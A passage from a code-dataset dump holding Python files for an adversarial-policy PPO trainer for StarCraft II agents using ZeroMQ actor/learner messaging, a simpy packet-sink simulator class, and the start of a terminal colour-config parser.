self.coef_abs_ph * neglogpac)\n\n pg_loss = adv_pg_loss + opp_pg_loss + abs_pg_loss\n\n\n approxkl = .5 * tf.reduce_mean(tf.square(neglogpac - OLDNEGLOGPAC))\n clipfrac = tf.reduce_mean(tf.to_float(tf.greater(tf.abs(ratio - 1.0), CLIPRANGE)))\n\n # total loss, add value function\n loss = pg_loss - entropy * ent_coef + vf_loss * vf_coef + \\\n opp_vf_loss * vf_coef + diff_vf_loss * vf_coef\n\n params = tf.trainable_variables(scope=scope_name)\n params += tf.trainable_variables(scope=\"oppo_value\")\n params += tf.trainable_variables(scope=\"diff_value\")\n\n grads = tf.gradients(loss, params)\n if max_grad_norm is not None:\n grads, _grad_norm = tf.clip_by_global_norm(grads, max_grad_norm)\n grads = list(zip(grads, params))\n trainer = tf.train.AdamOptimizer(learning_rate=LR, epsilon=1e-5)\n _train = trainer.apply_gradients(grads)\n new_params = [tf.placeholder(p.dtype, shape=p.get_shape()) for p in params]\n param_assign_ops = [p.assign(new_p) for p, new_p in zip(params, new_params)]\n\n def train(lr, cliprange, coef_opp, coef_adv, coef_abs, obs, returns, dones, actions, values,\n neglogpacs, opp_obs, opp_returns, opp_values, abs_returns, abs_values,\n states=None, opp_states=None, abs_states=None):\n\n advs = returns - values\n advs = (advs - advs.mean()) / (advs.std() + 1e-8)\n\n opp_advs = opp_returns - opp_values\n opp_advs = (opp_advs - opp_advs.mean()) / (opp_advs.std() + 1e-8)\n\n abs_advs = abs_returns - abs_values\n abs_advs = (abs_advs - abs_advs.mean()) / (abs_advs.std() + 1e-8)\n\n if isinstance(ac_space, MaskDiscrete):\n td_map = {train_model.X: obs[0], train_model.MASK: obs[-1], A: actions,\n ADV: advs, R:returns, LR:lr, CLIPRANGE:cliprange,\n self.coef_opp_ph:coef_opp, self.coef_adv_ph:coef_adv, self.coef_abs_ph:coef_abs,\n OLDNEGLOGPAC:neglogpacs, OLDVPRED:values,\n vtrain_model.X:opp_obs[0], vtrain_model.MASK:opp_obs[-1],\n opp_ADV:opp_advs, opp_R:opp_returns, opp_OLDVPRED:opp_values,\n vtrain1_model.X:opp_obs[0], vtrain1_model.MASK:opp_obs[-1],\n abs_ADV:abs_advs, abs_R:abs_returns, abs_OLDVPRED:abs_values}\n else:\n td_map = {train_model.X:obs, A:actions, ADV:advs, R:returns, LR:lr,\n CLIPRANGE:cliprange, OLDNEGLOGPAC:neglogpacs, OLDVPRED:values,\n self.coef_opp_ph: coef_opp, self.coef_adv_ph: coef_adv, self.coef_abs_ph: coef_abs,\n opp_ADV:opp_advs, opp_R:opp_returns, opp_OLDVPRED:opp_values,\n abs_ADV:abs_advs, abs_R:abs_returns, abs_OLDVPRED:abs_values}\n\n if states is not None:\n td_map[train_model.STATE] = states\n td_map[train_model.DONE] = dones\n\n if opp_states is not None:\n td_map[vtrain_model.STATE] = opp_states\n td_map[vtrain_model.DONE] = dones\n\n if abs_states is not None:\n td_map[vtrain1_model.STATE] = abs_states\n td_map[vtrain1_model.DONE] = dones\n\n return sess.run([pg_loss, vf_loss, entropy, approxkl, clipfrac, _train], td_map)[:-1]\n\n self.loss_names = ['policy_loss', 'value_loss', 'policy_entropy',\n 'approxkl', 'clipfrac']\n\n def save(save_path):\n joblib.dump(read_params(), save_path)\n\n def load(load_path):\n loaded_params = joblib.load(load_path)\n load_params(loaded_params)\n\n def read_params():\n return sess.run(params)\n\n def load_params(loaded_params):\n sess.run(param_assign_ops[0:len(loaded_params)], feed_dict={p : v for p, v in zip(new_params[0:len(loaded_params)], loaded_params)})\n\n self.train = train\n self.train_model = train_model\n self.act_model = act_model\n\n self.vtrain_model = vtrain_model\n self.vact_model = vact_model\n\n self.vtrain1_model = vtrain1_model\n self.vact1_model = vact1_model\n\n self.step = act_model.step\n self.value = act_model.value\n\n self.opp_value = vact_model.value\n self.abs_value = vact1_model.value\n\n self.initial_state = act_model.initial_state\n self.save = save\n self.load = load\n self.read_params = read_params\n self.load_params = load_params\n\n tf.global_variables_initializer().run(session=sess)\n\n\nclass PPO_AdvActor(object):\n \"\"\"\n actor or runner.\n \"\"\"\n def __init__(self, env, policy, value, unroll_length, gamma, lam, queue_size=1,\n enable_push=True, learner_ip=\"localhost\", port_A=\"5700\", port_B=\"5701\",\n reward_shape='none', use_victim_ob=False, victim_model=None):\n \"\"\"\n :param env: environment, selfplay.\n :param policy: adversarial policy network and value function.\n :param value: victim agent value function and diff value function.\n :param unroll_length: n_batch training and training rollout length, used for lstm.\n :param gamma: discount factor.\n :param lam: used to compute\n :param queue_size: use for communicate with learner.\n :param enable_push: use for communicate with learner.\n :param learner_ip: ip of learner.\n :param port_A:\n :param port_B:\n :param reward_shape: type of reward shaping.\n :param use_victim_ob: use victim agent's observation or not.\n :param victim_model: victim policy model path.\n \"\"\"\n\n self._env = env\n self._unroll_length = unroll_length\n self._lam = lam\n self._gamma = gamma\n self._enable_push = enable_push\n self.reward_shaping = reward_shape\n\n self.use_victim_ob = use_victim_ob\n\n self._model = Adv_Model(policy=policy, value=value,\n scope_name=\"model\",\n ob_space=env.observation_space,\n ac_space=env.action_space,\n nbatch_act=1,\n nbatch_train=unroll_length,\n unroll_length=unroll_length,\n ent_coef=0.01,\n vf_coef=0.5,\n max_grad_norm=0.5)\n\n self._oppo_model = Model(policy=policy,\n scope_name=\"oppo_model\",\n ob_space=env.observation_space,\n ac_space=env.action_space,\n nbatch_act=1,\n nbatch_train=unroll_length,\n unroll_length=unroll_length,\n ent_coef=0.01,\n vf_coef=0.5,\n max_grad_norm=0.5)\n\n # use zip, still need double check. load victim model, check this part.\n if victim_model != None:\n self._oppo_model.load(victim_model)\n\n self._obs, self._oppo_obs = env.reset()\n # define the state and oppo_state\n self._state = self._model.initial_state\n self._oppo_state = self._oppo_model.initial_state\n\n # init_states for adversary\n self.adv_opp_states = self._model.initial_state\n self.adv_abs_states = self._model.initial_state\n\n self._done = False\n self._cum_reward = 0\n\n self._zmq_context = zmq.Context()\n self._model_requestor = self._zmq_context.socket(zmq.REQ)\n self._model_requestor.connect(\"tcp://%s:%s\" % (learner_ip, port_A))\n if enable_push:\n self._data_queue = Queue(queue_size)\n self._push_thread = Thread(target=self._push_data, args=(\n self._zmq_context, learner_ip, port_B, self._data_queue))\n self._push_thread.start()\n\n def run(self):\n while True:\n # fetch model\n t = time.time()\n self._update_model()\n tprint(\"Update model time: %f\" % (time.time() - t))\n t = time.time()\n # rollout, batch_size: unroll_length\n unroll = self._nstep_rollout()\n if self._enable_push:\n if self._data_queue.full(): tprint(\"[WARN]: Actor's queue is full.\")\n self._data_queue.put(unroll)\n tprint(\"Rollout time: %f\" % (time.time() - t))\n\n def _nstep_rollout(self):\n mb_obs, mb_rewards, mb_actions, mb_values, mb_dones, mb_neglogpacs = [],[],[],[],[],[]\n\n # define the opponent observation, rewards, dones\n mb_opp_obs, mb_opp_returns, mb_opp_values, mb_abs_returns, mb_abs_values = [],[],[],[],[]\n\n mb_opp_rewards, mb_abs_rewards = [], []\n\n mb_states, episode_infos = self._state, []\n mb_adv_opp_states = self.adv_opp_states\n mb_adv_abs_states = self.adv_abs_states\n\n # two multi-agent competition\n # add opponent actions and values\n units_t_1 = []\n units_oppo_t_1 = []\n kill_t_1 = 0\n kill_oppo_t_1 = 0\n\n for _ in range(self._unroll_length):\n action, value, self._state, neglogpac = self._model.step(\n transform_tuple(self._obs, lambda x: np.expand_dims(x, 0)),\n self._state,\n np.expand_dims(self._done, 0))\n\n oppo_action, _, self._oppo_state, _ = self._oppo_model.step(\n transform_tuple(self._oppo_obs, lambda x: np.expand_dims(x, 0)),\n self._oppo_state,\n np.expand_dims(self._done, 0))\n\n mb_obs.append(transform_tuple(self._obs, lambda x: x.copy()))\n mb_actions.append(action[0])\n mb_values.append(value[0])\n mb_neglogpacs.append(neglogpac[0])\n mb_dones.append(self._done)\n\n if self.use_victim_ob:\n mb_opp_obs.append(transform_tuple(self._oppo_obs, lambda x: x.copy()))\n else:\n mb_opp_obs.append(transform_tuple(self._obs, lambda x: x.copy()))\n\n if self.use_victim_ob:\n obs_oppo = self._oppo_obs\n else:\n obs_oppo = self._obs\n\n values_oppo, self.adv_opp_states = self._model.opp_value(transform_tuple(obs_oppo,\n lambda x: np.expand_dims(x, 0)),\n self.adv_opp_states,\n np.expand_dims(self._done, 0))\n\n values_abs, self.adv_abs_states = self._model.abs_value(transform_tuple(obs_oppo,\n lambda x: np.expand_dims(x, 0)), self.adv_abs_states,\n np.expand_dims(self._done, 0))\n\n mb_opp_values.append(values_oppo[0])\n mb_abs_values.append(values_abs[0])\n\n (self._obs, self._oppo_obs), reward, self._done, info \\\n = self._env.step([action[0], oppo_action[0]])\n\n units_t = info['units'][0]\n units_oppo_t = info['units'][1]\n kill_t = info['killing'][0]\n kill_oppo_t = info['killing'][1]\n\n # reward shaping.\n if self.reward_shaping == 'kill':\n reward = KillingReward(kill_t, kill_t_1, reward, self._done)\n oppo_reward = KillingReward(kill_oppo_t, kill_oppo_t_1, info['oppo_reward'], self._done)\n elif self.reward_shaping == 'v1':\n reward = RewardShapingV1(units_t, units_t_1, reward, self._done)\n oppo_reward = RewardShapingV1(units_oppo_t, units_oppo_t_1, info['oppo_reward'], self._done)\n elif self.reward_shaping == 'v2':\n reward = RewardShapingV1(units_t, units_t_1, reward, self._done)\n oppo_reward = RewardShapingV1(units_oppo_t, units_oppo_t_1, info['oppo_reward'], self._done)\n else:\n oppo_reward = info['oppo_reward']\n\n units_t_1 = units_t\n units_oppo_t_1 = units_oppo_t\n kill_t_1 = kill_t\n kill_oppo_t_1 = kill_oppo_t\n\n self._cum_reward += reward\n if self._done:\n self._obs, self._oppo_obs = self._env.reset()\n self._state = self._model.initial_state\n self._oppo_state = self._oppo_model.initial_state\n self.adv_opp_states = self._model.initial_state\n self.adv_abs_states = self._model.initial_state\n episode_infos.append({'r': self._cum_reward, 'win': int(info['winning']), 'tie': int(info['tie']),\n 'loss': int(info['loss']),})\n self._cum_reward = 0\n\n # opp, abs rewards\n mb_rewards.append(reward)\n mb_opp_rewards.append(oppo_reward)\n mb_abs_rewards.append((reward - oppo_reward))\n\n if isinstance(self._obs, tuple):\n mb_obs = tuple(np.asarray(obs, dtype=self._obs[0].dtype)\n for obs in zip(*mb_obs))\n mb_opp_obs = tuple(np.asarray(obs, dtype=self._obs[0].dtype)\n for obs in zip(*mb_opp_obs))\n else:\n mb_obs = np.asarray(mb_obs, dtype=self._obs.dtype)\n mb_opp_obs = np.asarray(mb_opp_obs, dtype=self._obs.dtype)\n\n mb_rewards = np.asarray(mb_rewards, dtype=np.float32)\n mb_actions = np.asarray(mb_actions)\n mb_values = np.asarray(mb_values, dtype=np.float32)\n mb_neglogpacs = np.asarray(mb_neglogpacs, dtype=np.float32)\n mb_dones = np.asarray(mb_dones, dtype=np.bool)\n\n # Add abs-rewards, abs-dones\n mb_opp_rewards = np.asarray(mb_opp_rewards, dtype=np.float32)\n mb_opp_values = np.asarray(mb_opp_values, dtype=np.float32)\n\n mb_abs_rewards = np.asarray(mb_abs_rewards, dtype=np.float32)\n mb_abs_values = np.asarray(mb_abs_values, dtype=np.float32)\n last_values = self._model.value(\n transform_tuple(self._obs, lambda x: np.expand_dims(x, 0)),\n self._state,\n np.expand_dims(self._done, 0))\n\n if self.use_victim_ob:\n opp_last_values, _ = self._model.opp_value(transform_tuple(self._oppo_obs,\n lambda x: np.expand_dims(x, 0)), self.adv_opp_states)\n abs_last_values, _ = self._model.abs_value(transform_tuple(self._oppo_obs,\n lambda x: np.expand_dims(x, 0)), self.adv_abs_states)\n else:\n opp_last_values, _ = self._model.opp_value(transform_tuple(self._obs,\n lambda x: np.expand_dims(x, 0)), self.adv_opp_states)\n abs_last_values, _ = self._model.abs_value(transform_tuple(self._obs,\n lambda x: np.expand_dims(x, 0)), self.adv_abs_states)\n\n mb_returns = np.zeros_like(mb_rewards)\n mb_advs = np.zeros_like(mb_rewards)\n\n mb_opp_returns = np.zeros_like(mb_opp_rewards)\n mb_opp_advs = np.zeros_like(mb_opp_rewards)\n\n mb_abs_returns = np.zeros_like(mb_abs_rewards)\n mb_abs_advs = np.zeros_like(mb_abs_rewards)\n\n last_gae_lam = 0\n opp_last_gae_lam = 0\n abs_last_gae_lam = 0\n\n for t in reversed(range(self._unroll_length)):\n if t == self._unroll_length - 1:\n next_nonterminal = 1.0 - self._done\n next_values = last_values[0]\n opp_nextvalues = opp_last_values[0]\n abs_nextvalues = abs_last_values[0]\n else:\n next_nonterminal = 1.0 - mb_dones[t + 1]\n next_values = mb_values[t + 1]\n opp_nextvalues = mb_opp_values[t + 1]\n abs_nextvalues = mb_abs_values[t + 1]\n\n delta = mb_rewards[t] + self._gamma * next_values * next_nonterminal - mb_values[t]\n mb_advs[t] = last_gae_lam = delta + self._gamma * self._lam * next_nonterminal * last_gae_lam\n\n # opp-delta\n opp_delta = mb_opp_rewards[t] + self._gamma * opp_nextvalues * next_nonterminal - mb_opp_values[t]\n mb_opp_advs[t] = opp_last_gae_lam = opp_delta + self._gamma * self._lam * \\\n next_nonterminal * opp_last_gae_lam\n # abs-delta\n abs_delta = mb_abs_rewards[t] + self._gamma * abs_nextvalues * next_nonterminal - mb_abs_values[t]\n mb_abs_advs[t] = abs_last_gae_lam = abs_delta + self._gamma * self._lam * \\\n next_nonterminal * abs_last_gae_lam\n\n mb_returns = mb_advs + mb_values\n mb_opp_returns = mb_opp_advs + mb_opp_values\n mb_abs_returns = mb_abs_advs + mb_abs_values\n\n # Shape: [unroll_length, XX]. batch_size: unroll_length\n # opp_obs, opp_returns, opp_values, abs_returns, abs_values\n # states = None, opp_states = None, abs_states = None\n return (mb_obs, mb_opp_obs, mb_returns, mb_dones, mb_actions, mb_values, mb_neglogpacs,\n mb_opp_returns, mb_opp_values, mb_abs_returns, mb_abs_values,\n mb_states, mb_adv_opp_states, mb_adv_abs_states, episode_infos)\n\n def _push_data(self, zmq_context, learner_ip, port_B, data_queue):\n sender = zmq_context.socket(zmq.PUSH)\n sender.setsockopt(zmq.SNDHWM, 1)\n sender.setsockopt(zmq.RCVHWM, 1)\n sender.connect(\"tcp://%s:%s\" % (learner_ip, port_B))\n while True:\n data = data_queue.get()\n sender.send_pyobj(data)\n\n def _update_model(self):\n self._model_requestor.send_string(\"request model\")\n self._model.load_params(self._model_requestor.recv_pyobj())\n\n\n# Adv Learner\nclass Adv_Learner(object):\n def __init__(self, env, policy, value, unroll_length, lr, clip_range, batch_size,\n ent_coef=0.01, vf_coef=0.5, max_grad_norm=0.5, queue_size=8,\n print_interval=100, save_interval=10000, learn_act_speed_ratio=0,\n unroll_split=8, save_dir=None, init_model_path=None, max_episode=4,\n port_A=\"5700\", port_B=\"5701\", coef_opp_init=1, coef_opp_schedule='const',\n coef_adv_init=1, coef_adv_schedule='const', coef_abs_init=1, coef_abs_schedule='const'):\n \"\"\"\n queue_size: maximum queue size per update.\n max_episode: maximum games per update.\n \"\"\"\n\n assert isinstance(env.action_space, spaces.Discrete)\n if isinstance(lr, float): lr = constfn(lr)\n else: assert callable(lr)\n if isinstance(clip_range, float): clip_range = constfn(clip_range)\n else: assert callable(clip_range)\n self._lr = lr\n self._clip_range=clip_range\n self._batch_size = batch_size\n self._unroll_length = unroll_length\n self._print_interval = print_interval\n self._save_interval = save_interval\n self._learn_act_speed_ratio = learn_act_speed_ratio\n self._save_dir = save_dir\n\n # Set the constant\n self.coef_opp_init = coef_opp_init\n self.coef_opp_schedule = coef_opp_schedule\n\n self.coef_adv_init = coef_adv_init\n self.coef_adv_schedule = coef_adv_schedule\n\n self.coef_abs_init = coef_abs_init\n self.coef_abs_schedule = coef_abs_schedule\n\n self._model = Adv_Model(policy=policy, value=value,\n scope_name=\"model\",\n ob_space=env.observation_space,\n ac_space=env.action_space,\n nbatch_act=1,\n nbatch_train=unroll_length * batch_size,\n unroll_length=unroll_length,\n ent_coef=ent_coef,\n vf_coef=vf_coef,\n max_grad_norm=max_grad_norm)\n if init_model_path is not None: self._model.load(init_model_path)\n self._model_params = self._model.read_params()\n self._unroll_split = unroll_split if self._model.initial_state is None else 1\n assert self._unroll_length % self._unroll_split == 0\n self._data_queue = deque(maxlen=queue_size * self._unroll_split)\n self._data_timesteps = deque(maxlen=200)\n self._episode_infos = deque(maxlen=max_episode)\n self._num_unrolls = 0\n\n self._zmq_context = zmq.Context()\n self._pull_data_thread = Thread(\n target=self._pull_data,\n args=(self._zmq_context, self._data_queue, self._episode_infos,\n self._unroll_split, port_B)\n )\n self._pull_data_thread.start()\n self._reply_model_thread = Thread(\n target=self._reply_model, args=(self._zmq_context, port_A))\n self._reply_model_thread.start()\n\n def run(self):\n self.coef_opp = get_schedule_fn(self.coef_opp_init, schedule=self.coef_opp_schedule)\n self.coef_adv = get_schedule_fn(self.coef_adv_init, schedule=self.coef_adv_schedule)\n self.coef_abs = get_schedule_fn(self.coef_abs_init, schedule=self.coef_abs_schedule)\n\n while len(self._episode_infos) < self._episode_infos.maxlen / 2:\n tprint('episode num is %d' %len(self._episode_infos))\n time.sleep(1)\n\n batch_queue = Queue(4)\n batch_threads = [\n Thread(target=self._prepare_batch,\n args=(self._data_queue, batch_queue,\n self._batch_size * self._unroll_split))\n for _ in range(8)\n ]\n for thread in batch_threads:\n thread.start()\n\n updates, loss = 0, []\n time_start = time.time()\n while True:\n while (self._learn_act_speed_ratio > 0 and\n updates * self._batch_size >= \\\n self._num_unrolls * self._learn_act_speed_ratio):\n time.sleep(0.001)\n updates += 1\n lr_now = self._lr(updates)\n # schedule the rate\n\n if self.coef_opp_schedule == 'const':\n coef_opp_now = self.coef_opp(0)\n elif self.coef_opp_schedule == 'linear':\n coef_opp_now = self.coef_opp(updates, 5 * 10e7)\n elif self.coef_opp_schedule == 'step':\n coef_opp_now = self.coef_opp(updates)\n\n if self.coef_adv_schedule == 'const':\n coef_adv_now = self.coef_adv(0)\n elif self.coef_adv_schedule == 'linear':\n coef_adv_now = self.coef_adv(updates, 5 * 10e7)\n elif self.coef_adv_schedule == 'step':\n coef_adv_now = self.coef_adv(updates)\n\n if self.coef_abs_schedule == 'const':\n coef_abs_now = self.coef_abs(0)\n elif self.coef_abs_schedule == 'linear':\n coef_abs_now = self.coef_abs(updates, 5 * 10e7)\n elif self.coef_adv_schedule == 'step':\n coef_abs_now = self.coef_abs(updates)\n\n clip_range_now = self._clip_range(updates)\n\n batch = batch_queue.get()\n\n obs, returns, dones, actions, values, neglogpacs, \\\n opp_obs, opp_returns, opp_values, abs_returns, abs_values, \\\n states, opp_states, abs_states = batch\n\n loss.append(self._model.train(lr_now, clip_range_now, coef_opp_now, coef_adv_now, coef_abs_now,\n obs, returns, dones, actions, values, neglogpacs, opp_obs,\n opp_returns, opp_values, abs_returns, abs_values,\n states, opp_states, abs_states))\n\n self._model_params = self._model.read_params()\n\n if updates % self._print_interval == 0:\n loss_mean = np.mean(loss, axis=0)\n batch_steps = self._batch_size * self._unroll_length\n time_elapsed = time.time() - time_start\n train_fps = self._print_interval * batch_steps / time_elapsed\n rollout_fps = len(self._data_timesteps) * self._unroll_length / \\\n (time.time() - self._data_timesteps[0])\n var = explained_variance(values, returns)\n avg_reward = safemean([info['r'] for info in self._episode_infos])\n avg_return = safemean(returns)\n # print the winning rate and number of the games\n total_game = len(self._episode_infos)\n win_game = sum([info['win'] for info in self._episode_infos])\n tie_game = sum([info['tie'] for info in self._episode_infos])\n loss_game = sum([info['loss'] for info in self._episode_infos])\n winning_rate = sum([info['win'] for info in self._episode_infos]) * 1.0 / total_game\n win_count_tie = (((win_game - loss_game) * 1.0 / (total_game)) + 1) / 2.0\n win_plus_tie = (win_game + tie_game) * 1.0 / (total_game)\n tprint('Total_Game is %d, Winning_rate is %f, Winning_rate_tie is %f, Winning_plus_tie is %f,'\n 'win %d, tie %d, loss %d,'\n % (total_game, winning_rate, win_count_tie, win_plus_tie, win_game, tie_game, loss_game))\n if self._save_dir is not None:\n os.makedirs(self._save_dir, exist_ok=True)\n fid = open(self._save_dir + '/Log.txt', 'a+')\n fid.write(\"%d %f %f %f %f %f\\n\" %(updates, winning_rate, win_count_tie, win_plus_tie, avg_reward, avg_return))\n fid.close()\n\n tprint(\"Update: %d\tTrain-fps: %.1f\tRollout-fps: %.1f\t\"\n \"Explained-var: %.5f\tAvg-reward %.2f\tPolicy-loss: %.5f\t\"\n \"Value-loss: %.5f\tPolicy-entropy: %.5f\tApprox-KL: %.5f\t\"\n \"Clip-frac: %.3f\tTime: %.1f\" % (updates, train_fps, rollout_fps,\n var, avg_reward, *loss_mean[:5], time_elapsed))\n time_start, loss = time.time(), []\n\n if self._save_dir is not None and updates % self._save_interval == 0:\n os.makedirs(self._save_dir, exist_ok=True)\n save_path = os.path.join(self._save_dir, 'checkpoint-%d' % updates)\n self._model.save(save_path)\n tprint('Saved to %s.' % save_path)\n\n def _prepare_batch(self, data_queue, batch_queue, batch_size):\n while True:\n batch = random.sample(data_queue, batch_size)\n\n obs, opp_obs, returns, dones, actions, values, neglogpacs, \\\n opp_returns, opp_values, abs_returns, abs_values, \\\n states, opp_states, abs_states = zip(*batch)\n\n if isinstance(obs[0], tuple):\n obs = tuple(np.concatenate(ob) for ob in zip(*obs))\n opp_obs = tuple(np.concatenate(ob) for ob in zip(*opp_obs))\n else:\n obs = np.concatenate(obs)\n opp_obs = np.concatenate(opp_obs)\n\n returns = np.concatenate(returns)\n dones = np.concatenate(dones)\n actions = np.concatenate(actions)\n values = np.concatenate(values)\n neglogpacs = np.concatenate(neglogpacs)\n states = np.concatenate(states) if states[0] is not None else None\n opp_states = np.concatenate(opp_states) if opp_states[0] is not None else None\n abs_states = np.concatenate(abs_states) if abs_states[0] is not None else None\n\n opp_returns = np.concatenate(opp_returns)\n opp_values = np.concatenate(opp_values)\n abs_returns = np.concatenate(abs_returns)\n abs_values = np.concatenate(abs_values)\n\n # batch queue\n batch_queue.put((obs, returns, dones, actions, values, neglogpacs,\n opp_obs, opp_returns, opp_values, abs_returns,\n abs_values, states, opp_states, abs_states))\n\n def _pull_data(self, zmq_context, data_queue, episode_infos, unroll_split,\n port_B):\n receiver = zmq_context.socket(zmq.PULL)\n receiver.setsockopt(zmq.RCVHWM, 1)\n receiver.setsockopt(zmq.SNDHWM, 1)\n receiver.bind(\"tcp://*:%s\" % port_B)\n while True:\n data = receiver.recv_pyobj()\n if unroll_split > 1:\n # Added by Xian\n data_queue.extend(list(zip(*(\n [list(zip(*transform_tuple(\n data[0], lambda x: np.split(x, unroll_split))))] + \\\n [list(zip(*transform_tuple(\n data[1], lambda x: np.split(x, unroll_split))))] + \\\n [np.split(arr, unroll_split) for arr in data[2:-4]] + \\\n [[data[-4] for _ in range(unroll_split)]] + \\\n [[data[-3] for _ in range(unroll_split)]] + \\\n [[data[-2] for _ in range(unroll_split)]]\n ))))\n else:\n data_queue.append(data[:-1])\n episode_infos.extend(data[-1])\n self._data_timesteps.append(time.time())\n self._num_unrolls += 1\n\n def _reply_model(self, zmq_context, port_A):\n receiver = zmq_context.socket(zmq.REP)\n receiver.bind(\"tcp://*:%s\" % port_A)\n while True:\n msg = receiver.recv_string()\n assert msg == \"request model\"\n receiver.send_pyobj(self._model_params)\n\n\ndef safemean(xs):\n return np.nan if len(xs) == 0 else np.mean(xs)\n\n\ndef transform_tuple(x, transformer):\n if isinstance(x, tuple):\n return tuple(transformer(a) for a in x)\n else:\n return transformer(x)\n# Add function\n\n\ndef get_schedule_fn(value_schedule, schedule):\n \"\"\"\n Transform (if needed) learning rate and clip range\n to callable.\n :param value_schedule: (callable or float)\n :return: (function)\n \"\"\"\n # If the passed schedule is a float\n # create a constant function\n if schedule == 'const':\n value_schedule = constfn(value_schedule)\n elif schedule == 'linear':\n value_schedule = linearfn(value_schedule)\n elif schedule == 'step':\n value_schedule = stepfn(value_schedule)\n else:\n assert callable(value_schedule)\n return value_schedule\n\n\n# obs, returns, masks, actions, values, neglogpacs, states = runner.run()\ndef swap_and_flatten(arr):\n \"\"\"\n swap and then flatten axes 0 and 1\n :param arr: (np.ndarray)\n :return: (np.ndarray)\n \"\"\"\n shape = arr.shape\n return arr.swapaxes(0, 1).reshape(shape[0] * shape[1], *shape[2:])\n\n\ndef linearfn(val):\n \"\"\"\n :param val: (float)\n :return: (function)\n \"\"\"\n\n def func(epoch, total_epoch):\n frac = 1.0 - (epoch - 1.0) / total_epoch\n return val * frac\n\n return func\n\n\ndef stepfn(val):\n \"\"\"\n :param val: (float)\n :return: (function)\n \"\"\"\n\n def func(epoch, drop=0.8, epoch_drop=400):\n ratio = drop ** ((epoch + 1) // epoch_drop)\n return val * ratio\n\n return func\n\n\ndef constfn(val):\n def f(_):\n return val\n return f\n\n\n\n","sub_path":"StarCraftII/src/agents/ppo2_a2c.py","file_name":"ppo2_a2c.py","file_ext":"py","file_size_in_byte":35320,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"249931121","text":"\"\"\"\nA PacketSink is designed to record both arrival times and waiting times from the incoming packets. \n\nBy default, it records absolute arrival times, but it can also be initialized to record inter-arrival\ntimes.\n\"\"\"\nfrom collections import defaultdict as dd\n\nimport simpy\n\n\nclass PacketSink:\n \"\"\" A PacketSink is designed to record both arrival times and waiting times from the incoming\n packets. By default, it records absolute arrival times, but it can also be initialized to record\n inter-arrival times.\n\n Parameters\n ----------\n env: simpy.Environment\n the simulation environment\n rec_arrivals: bool\n if true, arrivals will be recorded\n absolute_arrivals: bool\n if true absolute arrival times will be recorded, otherwise the time between\n consecutive arrivals is recorded.\n rec_waits: bool\n if True, the waiting times experienced by the packets are recorded\n rec_flow_ids: bool\n if True, the flow IDs that the packets are used as the index for recording;\n otherwise, the 'src' field in the packets are used\n debug: bool\n if True, the contents of each packet will be printed as it is received.\n \"\"\"\n def __init__(self,\n env,\n rec_arrivals: bool = True,\n absolute_arrivals: bool = True,\n rec_waits: bool = True,\n rec_flow_ids: bool = True,\n debug: bool = False):\n self.store = simpy.Store(env)\n self.env = env\n self.rec_waits = rec_waits\n self.rec_flow_ids = rec_flow_ids\n self.rec_arrivals = rec_arrivals\n self.absolute_arrivals = absolute_arrivals\n self.waits = dd(list)\n self.arrivals = dd(list)\n self.packets_received = dd(lambda: 0)\n self.bytes_received = dd(lambda: 0)\n self.packet_sizes = dd(list)\n self.packet_times = dd(list)\n self.perhop_times = dd(list)\n\n self.first_arrival = dd(lambda: 0)\n self.last_arrival = dd(lambda: 0)\n self.debug = debug\n\n def put(self, pkt):\n \"\"\" Sends the packet 'pkt' to this element. \"\"\"\n now = self.env.now\n\n if self.debug:\n print(f\"At packet sink: {pkt}\")\n\n if self.rec_flow_ids:\n rec_index = pkt.flow_id\n else:\n rec_index = pkt.src\n\n if self.rec_waits:\n self.waits[rec_index].append(self.env.now - pkt.time)\n self.packet_sizes[rec_index].append(pkt.size)\n self.packet_times[rec_index].append(pkt.time)\n self.perhop_times[rec_index].append(pkt.perhop_time)\n\n if self.rec_arrivals:\n self.arrivals[rec_index].append(now)\n if len(self.arrivals[rec_index]) == 1:\n self.first_arrival[rec_index] = now\n\n if not self.absolute_arrivals:\n self.arrivals[rec_index][\n -1] = now - self.last_arrival[rec_index]\n\n self.last_arrival[rec_index] = now\n\n self.packets_received[rec_index] += 1\n self.bytes_received[rec_index] += pkt.size\n","sub_path":"ns/packet/sink.py","file_name":"sink.py","file_ext":"py","file_size_in_byte":3104,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"202556251","text":"\"\"\"\nParse configurations.\n\"\"\"\n\nfrom __future__ import print_function, absolute_import\n\nimport sys\nimport re\nfrom datetime import date\nfrom argparse import Namespace\nfrom calendar import SUNDAY, MONDAY, TUESDAY, WEDNESDAY, THURSDAY, FRIDAY, SATURDAY\n\nCOLOR_CODE = {\n 'black': '0',\n 'red': '1',\n 'green': '2',\n 'yellow': '3',\n 'blue': '4',\n 'magenta': '5',\n 'cyan': '6',\n 'white': '7',\n }\nBASE = max(SUNDAY, MONDAY, TUESDAY, WEDNESDAY, THURSDAY, FRIDAY, SATURDAY) + 1\n\n\ndef eprint(*args, **kwargs):\n print(*args, file=sys.stderr, **kwargs)\n\n\ndef get_config_with_type(cfg, key, default):\n if key not in cfg:\n return default\n\n try:\n if isinstance(default, bool) and not isinstance(cfg[key], bool):\n return {\n 'false': False,\n 'true': True,\n '0': False,\n '1': True,\n }[cfg[key].lower()]\n\n return type(default)(cfg[key])\n except:\n eprint('Warning: type incorrect of {} = {}'.format(key, cfg[key]))\n return default\n\n\ndef merge_color_config(base, new):\n b = list(map(str.strip, base.split(':') + ['']))\n n = list(map(str.strip, new.split(':') + ['']))\n\n b[0] = b[0] if b[0] else 'none'\n b[1] = b[1] if b[1] else 'none'\n n[0] = n[0] if n[0] else 'none'\n n[1] = n[1] if n[1] else 'none'\n\n if n[0].lower() != 'none':\n b[0] = n[0]\n\n if n[1].lower() != 'none':\n b[1] = n[1]\n\n return b[0] + ':' + b[1]\n\n\ndef parse_color_config(color_config):\n r\"\"\"\n >>> p = parse_color_config\n >>> p('white:black')\n '\\x1b[0;37;40m'\n\n No effect\n >>> p('')\n ''\n\n Keep background setting\n >>> p('white')\n '\\x1b[0;37m'\n\n Keep foreground setting\n >>> p(':black')\n '\\x1b[40m'\n\n Highlight\n >>> p('WHITE:black')\n '\\x1b[1;37;40m'\n\n Reverse (NOTE: there is already an ASCII code 7 for reverse)\n >>> p(':white')\n '\\x1b[0;30;47m'\n\n Equivalent configuration\n >>> assert p('white') == p('white:') == p('white:none')\n >>> assert p(':black') == p('none:black')\n >>> assert p(':white') == p('none:white') == p('NONE:white')\n\n Error handling\n >>> p('a:b:c')\n Traceback (most recent call last):\n ...\n 